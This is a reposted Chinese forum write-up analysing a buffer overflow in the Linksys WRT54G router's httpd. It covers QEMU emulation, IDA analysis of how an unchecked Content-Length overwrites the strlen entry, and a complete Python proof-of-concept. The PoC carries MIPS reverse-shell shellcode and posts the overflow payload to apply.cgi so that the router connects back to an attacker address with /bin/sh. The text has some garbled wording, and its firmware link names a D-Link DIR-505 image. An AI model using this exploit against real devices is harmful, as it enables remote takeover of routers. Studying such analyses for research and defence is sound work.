小小小幸运 发表于 2025-2-22 09:09:29

Linksys WRT54G路由器溢出漏洞分析–运行环境修复

Linksys WRT54G路由器溢出漏洞分析–运行环境修复

固件下载:files.dlink.com.au - /Products/DIR-505/REV_A/Firmware/v1.05b04/
nvram-faker动态库下载: GitHub - zcutlip/nvram-faker: A simple library to intercept calls to libnvram when running embedded linux applications in emulated environments.

https://i-blog.csdnimg.cn/img_convert/5b745bf07a33e45cd5b2f5a5d1447536.png
攻击机:192.168.40.146
路由器:192.168.40.200
qemu-system启动仿真系统:
sudo qemu-system-mipsel -M malta -kernel vmlinux-3.2\ .0-4-4kc-malta -hda debian_wheezy_mipsel_standard.qcow2 -append "root=/dev/sda1 console=tty0" -net nic -net tap -nographic 使用scp传输路由器文件系统

sudo scp -r ./squashfs-root/ root@192.168.40.200:/root/ 设法启动httpd

方法一:
这种方法没乐成启动httpd(不知道它的详细开启文件在哪),只打开了个ftp服务。

https://i-blog.csdnimg.cn/img_convert/5b4de9c8bd90d5f1f2500f6d80bd0122.png
方法二:

https://i-blog.csdnimg.cn/img_convert/a292dc18ac59b97de0c3812bcf0b6053.png
方法三(逼迫开启):
sudo chroot ./ ./qemu-mipsel-static ./usr/sbin/httpd 解释下附带./qemu-mipsel-static:程序所依赖的动态链接库,让它主动识别找不到,所以在qemu用户模式中使用编译好的qemu-mipsel-static程序启动,使用qemu-mipsel-static程序中被编译进去的依赖库。

https://i-blog.csdnimg.cn/img_convert/fdff2784c9068f381cf5dfc9d52e3beb.png
IDA静态分析


https://i-blog.csdnimg.cn/img_convert/72fc5ee4190ec0eaa86981927e8bfd19.png
根据分析得出伪代码推测:
wreadlen = wfread(post_buf,1,content-length,fhandle);
if(wreadlen)
   strlen(post_buf); 读取长度为content-length的全部POST数据到post_buf,假如读取的POST数据长度不为0,就计算post_buf中数据的长度。 这里的content-length是POST参数的长度,在调用do_apply_post函数时并没有举行校验,而该长度在使用读取数据进入内存时也没有举行校验就直接读取了POST参数,因此导致了缓冲区溢出。

https://i-blog.csdnimg.cn/img_convert/525fb61a52c8b5f5e37d6d1835933383.png
我们再看看产生缓冲区溢出的内存post_buf的位置。可以看到,post_buf位于HTTPD的 .data段中,如下图所示。在应用程序中,.data段用于存放已初始化的全局变量,这里的post_buf大小为0x2710字节(10 000字节)。

https://i-blog.csdnimg.cn/img_convert/fffcea91c2a0d1703150eeffd43709cb.png
构造攻击

1,tips:IDA各子窗口打开处

https://i-blog.csdnimg.cn/img_convert/8dd40065721fa8c77f07c495b46d16a9.png
2,根据.data段追溯,在漏洞分析中发现,该漏洞有一个特性,缓冲区溢出的数据覆盖到 .data段中的是全局变量。仔细分析可以或许发现在 .data段反面有以下段,如下图所示。

https://i-blog.csdnimg.cn/img_convert/91f960ce51b16793e7ec67a94935dd46.png
3,由于这些段是连续的并且可写入(关键条件),所以我们思量通过do_apply_post函数的漏洞使溢出数据连续覆盖 .data反面的多个段,直到将 .extern段中的strlen函数地点覆盖(IDA中粉红色字体标注的函数都来自extern段),这样,我们就可以在wfread函数覆盖内存以后,在调用strlen函数时将执行流程劫持并执行任意地点的代码,如下图所示。

https://i-blog.csdnimg.cn/img_convert/c31d938f62855824ee4385151cfa801c.png
4,在这里,只要添补0x2F32(0x1000D7A0 - 0x10001AD8)字节的数据,就可以将原来的strlen调用位置添补为任意地点,并控制执行流程。但是,为了使用的稳固性和通用性,这里选择将strlen之后的一段数据一并覆盖,使用方法如下图所示。 在post_buf中添补NOP指令及Shellcode,将post_buf之后统共0x4000字节的数据全部覆盖为post_buf首地点,使布置的缓冲区总是可以或许覆盖strlen函数地点,strlen指向post_buf,如此一来,原来执行strlen的地方都会跳转到post_buf首地点去执行。这样就可以包管wfread() 函数布置完缓冲区以后,在0x004112D8处执行strlen函数时会被劫持到post_buf头部去执行我们的Shellcode了。

https://i-blog.csdnimg.cn/img_convert/c85097c2672423a5ceca1c9c65510427.png
ret2shellcode的方法实现POC

import sys
import struct,socket
import urllib2
def makepayload(host,port):
   print '[*] prepare shellcode',
   hosts = struct.unpack('<cccc',struct.pack('<L',host))
   ports = struct.unpack('<cccc',struct.pack('<L',port))
   mipselshell ="\xfa\xff\x0f\x24"   # li t7,-6
   mipselshell+="\x27\x78\xe0\x01"   # nor t7,t7,zero
   mipselshell+="\xfd\xff\xe4\x21"   # addi a0,t7,-3
   mipselshell+="\xfd\xff\xe5\x21"   # addi a1,t7,-3
   mipselshell+="\xff\xff\x06\x28"   # slti a2,zero,-1
   mipselshell+="\x57\x10\x02\x24"   # li v0,4183 # sys_socket
   mipselshell+="\x0c\x01\x01\x01"   # syscall 0x40404
   mipselshell+="\xff\xff\xa2\xaf"   # sw v0,-1(sp)
   mipselshell+="\xff\xff\xa4\x8f"   # lw a0,-1(sp)
   mipselshell+="\xfd\xff\x0f\x34"   # li t7,0xfffd
   mipselshell+="\x27\x78\xe0\x01"   # nor t7,t7,zero
   mipselshell+="\xe2\xff\xaf\xaf"   # sw t7,-30(sp)
   mipselshell+=struct.pack('<2c',ports,ports) + "\x0e\x3c"   # lui t6,0x1f90
   mipselshell+=struct.pack('<2c',ports,ports) + "\xce\x35"   # ori t6,t6,0x1f90
   mipselshell+="\xe4\xff\xae\xaf"   # sw t6,-28(sp)
   mipselshell+=struct.pack('<2c',hosts,hosts) + "\x0e\x3c"   # lui t6,0x7f01
   mipselshell+=struct.pack('<2c',hosts,hosts) + "\xce\x35"   # ori t6,t6,0x101
   mipselshell+="\xe6\xff\xae\xaf"   # sw t6,-26(sp)
   mipselshell+="\xe2\xff\xa5\x27"   # addiu a1,sp,-30
   mipselshell+="\xef\xff\x0c\x24"   # li t4,-17
   mipselshell+="\x27\x30\x80\x01"   # nor a2,t4,zero
   mipselshell+="\x4a\x10\x02\x24"   # li v0,4170# sys_connect
   mipselshell+="\x0c\x01\x01\x01"   # syscall 0x40404
   mipselshell+="\xfd\xff\x11\x24"   # li s1,-3
   mipselshell+="\x27\x88\x20\x02"   # nor s1,s1,zero
   mipselshell+="\xff\xff\xa4\x8f"   # lw a0,-1(sp)
   mipselshell+="\x21\x28\x20\x02"   # move a1,s1 # dup2_loop
   mipselshell+="\xdf\x0f\x02\x24"   # li v0,4063 # sys_dup2
   mipselshell+="\x0c\x01\x01\x01"   # syscall 0x40404
   mipselshell+="\xff\xff\x10\x24"   # li s0,-1
   mipselshell+="\xff\xff\x31\x22"   # addi s1,s1,-1
   mipselshell+="\xfa\xff\x30\x16"   # bne s1,s0,68 <dup2_loop>
   mipselshell+="\xff\xff\x06\x28"   # slti a2,zero,-1
   mipselshell+="\x62\x69\x0f\x3c"   # lui t7,0x2f2f "bi"
   mipselshell+="\x2f\x2f\xef\x35"   # ori t7,t7,0x6269 "//"
   mipselshell+="\xec\xff\xaf\xaf"   # sw t7,-20(sp)
   mipselshell+="\x73\x68\x0e\x3c"   # lui t6,0x6e2f "sh"
   mipselshell+="\x6e\x2f\xce\x35"   # ori t6,t6,0x7368 "n/"
   mipselshell+="\xf0\xff\xae\xaf"   # sw t6,-16(sp)
   mipselshell+="\xf4\xff\xa0\xaf"   # sw zero,-12(sp)
   mipselshell+="\xec\xff\xa4\x27"   # addiu a0,sp,-20
   mipselshell+="\xf8\xff\xa4\xaf"   # sw a0,-8(sp)
   mipselshell+="\xfc\xff\xa0\xaf"   # sw zero,-4(sp)
   mipselshell+="\xf8\xff\xa5\x27"   # addiu a1,sp,-8
   mipselshell+="\xab\x0f\x02\x24"   # li v0,4011 # sys_execve
   mipselshell+="\x0c\x01\x01\x01"# syscall 0x40404
   print 'ending ...'
   return mipselshell
try:
   target = sys.argv
except:
   print "Usage: %s <target>" % sys.argv
   sys.exit(1)
url = "http://%s/apply.cgi" % target
#ip='192.168.230.136'
sip='192.168.1.100'   #reverse_tcp local_ip
sport = 1234            #reverse_tcp local_port
DataSegSize = 0x4000
host=socket.ntohl(struct.unpack('<I',socket.inet_aton(sip)))
payload = makepayload(host,sport)
addr = struct.pack("<L",0x10001AD8)
DataSegSize = 0x4000
buf = "\x00"*(10000-len(payload))+payload+addr*(DataSegSize/4)
req = urllib2.Request(url, buf)
print urllib2.urlopen(req).read() 参考

Linksys WRT54G 路由器溢出漏洞分析—— 运行环境修复 - 博文视点安全技能大系

免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。
页: [1]
查看完整版本: Linksys WRT54G路由器溢出漏洞分析–运行环境修复